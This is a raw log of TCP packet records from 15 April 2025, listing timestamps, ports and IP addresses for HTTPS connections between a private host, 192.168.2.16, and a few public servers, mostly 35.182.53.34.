Apr 15, 2025 16:03:04.365448952 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.365741968 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.366316080 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.366338968 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.366491079 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.366718054 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.412271023 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.418421030 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.508986950 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.509089947 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.509676933 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.509699106 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.509710073 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.509746075 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.657505035 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:04.657613993 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:04.657737970 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:04.657924891 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:04.657944918 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:04.943756104 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:04.943861008 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:04.945141077 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:04.945161104 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:04.945471048 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:04.945882082 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:04.992274046 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.365881920 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.407439947 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499207973 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499238968 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499284029 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499316931 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499320984 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499382019 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499417067 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499417067 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499437094 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499495983 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499497890 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499526978 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499567032 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499573946 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499598980 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499612093 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.499644041 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.499660969 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.505523920 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.505563021 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.505637884 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.505923033 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.505963087 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.506031990 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.506237984 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.506297112 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.506371021 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.506576061 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.506607056 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.506659985 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.506805897 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.506835938 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.506886959 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.507487059 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.507500887 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.507580042 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.507597923 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.507642031 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.507672071 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.507723093 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.507740974 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.507785082 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.507800102 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.632460117 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.632514000 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.632567883 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.632586956 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.632616043 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.632637024 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.632913113 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.632977009 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633007050 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633070946 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633224010 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633264065 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633282900 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633287907 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633316040 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633335114 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633392096 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633440971 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633445024 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633543968 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.633585930 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633899927 CEST	49707	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.633913040 CEST	443	49707	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.634368896 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.634404898 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.634460926 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.635006905 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.635021925 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.776655912 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.777054071 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.777089119 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.777223110 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.777234077 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.778873920 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.779055119 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.779099941 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.779144049 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.779150009 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.780936956 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.781132936 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.781164885 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.781236887 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.781244040 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.781810999 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.781981945 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.782002926 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.782068968 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.782073975 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.785079002 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.785274982 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.785310030 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.785392046 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.785398006 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.893953085 CEST	49720	443	192.168.2.16	193.46.217.168
Apr 15, 2025 16:03:05.894009113 CEST	443	49720	193.46.217.168	192.168.2.16
Apr 15, 2025 16:03:05.894095898 CEST	49720	443	192.168.2.16	193.46.217.168
Apr 15, 2025 16:03:05.894294977 CEST	49720	443	192.168.2.16	193.46.217.168
Apr 15, 2025 16:03:05.894316912 CEST	443	49720	193.46.217.168	192.168.2.16
Apr 15, 2025 16:03:05.909621954 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.909920931 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.909945011 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:05.910103083 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:05.910109043 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.042047977 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.043175936 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.044564962 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.044723988 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.044785976 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.044805050 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.044876099 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.044925928 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.045432091 CEST	49714	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.045445919 CEST	443	49714	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.045974016 CEST	49721	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.046021938 CEST	443	49721	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.046088934 CEST	49721	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.046776056 CEST	49721	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.046792984 CEST	443	49721	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.048410892 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.050690889 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.050901890 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.050955057 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.051618099 CEST	49711	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.051635027 CEST	443	49711	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.051661015 CEST	49722	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.051688910 CEST	443	49722	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.051816940 CEST	49722	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.052063942 CEST	49722	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.052072048 CEST	443	49722	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.094428062 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.094459057 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.100617886 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.172972918 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174042940 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174055099 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174135923 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174156904 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174181938 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174218893 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174232006 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174241066 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174241066 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174268007 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174392939 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174412012 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174463034 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174469948 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174509048 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174860954 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174876928 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174896002 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174921036 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174937963 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174941063 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174951077 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174966097 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.174977064 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.174997091 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.175138950 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.175143003 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.175151110 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.175179958 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.175205946 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.175215006 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.175231934 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.175261021 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.181557894 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181566954 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181602955 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181629896 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181654930 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.181668997 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181695938 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.181720018 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.181855917 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181873083 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181926012 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.181934118 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.181972027 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.221470118 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.304486036 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.304496050 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.304533005 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.304563046 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.304908037 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.304923058 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.304982901 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306003094 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306022882 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306387901 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306397915 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306442976 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306574106 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306598902 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306632042 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306638002 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306648016 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306663036 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306679964 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306719065 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306723118 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306762934 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.306781054 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.306797028 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307214022 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307229996 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307285070 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307292938 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307331085 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307347059 CEST	49718	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307363987 CEST	443	49718	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307593107 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307655096 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307662010 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307684898 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307717085 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307728052 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307897091 CEST	49724	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.307971001 CEST	443	49724	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.307990074 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308053017 CEST	49724	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308059931 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308072090 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308095932 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308120966 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308137894 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308209896 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308387041 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308437109 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308693886 CEST	49724	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308725119 CEST	443	49724	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308739901 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308748960 CEST	443	49710	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.308778048 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.308806896 CEST	49710	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.309034109 CEST	49725	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.309055090 CEST	443	49725	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.309114933 CEST	49725	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.309626102 CEST	49725	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.309638977 CEST	443	49725	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.314881086 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.314904928 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.314995050 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.315037012 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315110922 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.315160990 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315176964 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315236092 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.315251112 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315309048 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.315628052 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315645933 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315707922 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.315721989 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.315752983 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.315788031 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.322668076 CEST	443	49721	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.323113918 CEST	49721	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.323128939 CEST	443	49721	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.323280096 CEST	49721	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.323282957 CEST	443	49721	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.328860998 CEST	443	49722	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.338488102 CEST	49722	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.338501930 CEST	443	49722	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.338713884 CEST	49722	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.338718891 CEST	443	49722	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.344952106 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.344990015 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.345015049 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.345067978 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.345119953 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.346081972 CEST	49713	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.346098900 CEST	443	49713	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.346545935 CEST	49726	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.346563101 CEST	443	49726	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.346649885 CEST	49726	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.347527027 CEST	49726	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.347537041 CEST	443	49726	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.356930971 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.356950045 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.357036114 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.357060909 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.357114077 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.448142052 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.448188066 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.448220015 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.448266983 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.448316097 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.448793888 CEST	49712	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.448822975 CEST	443	49712	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.449234009 CEST	49727	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.449291945 CEST	443	49727	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.449372053 CEST	49727	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.449848890 CEST	49727	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.449866056 CEST	443	49727	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.578879118 CEST	443	49724	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.579246044 CEST	49724	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.579313040 CEST	443	49724	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.579427958 CEST	49724	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:06.579442978 CEST	443	49724	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.583435059 CEST	443	49725	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:06.583626032 CEST	49725	443	192.168.2.16	35.182.53.34
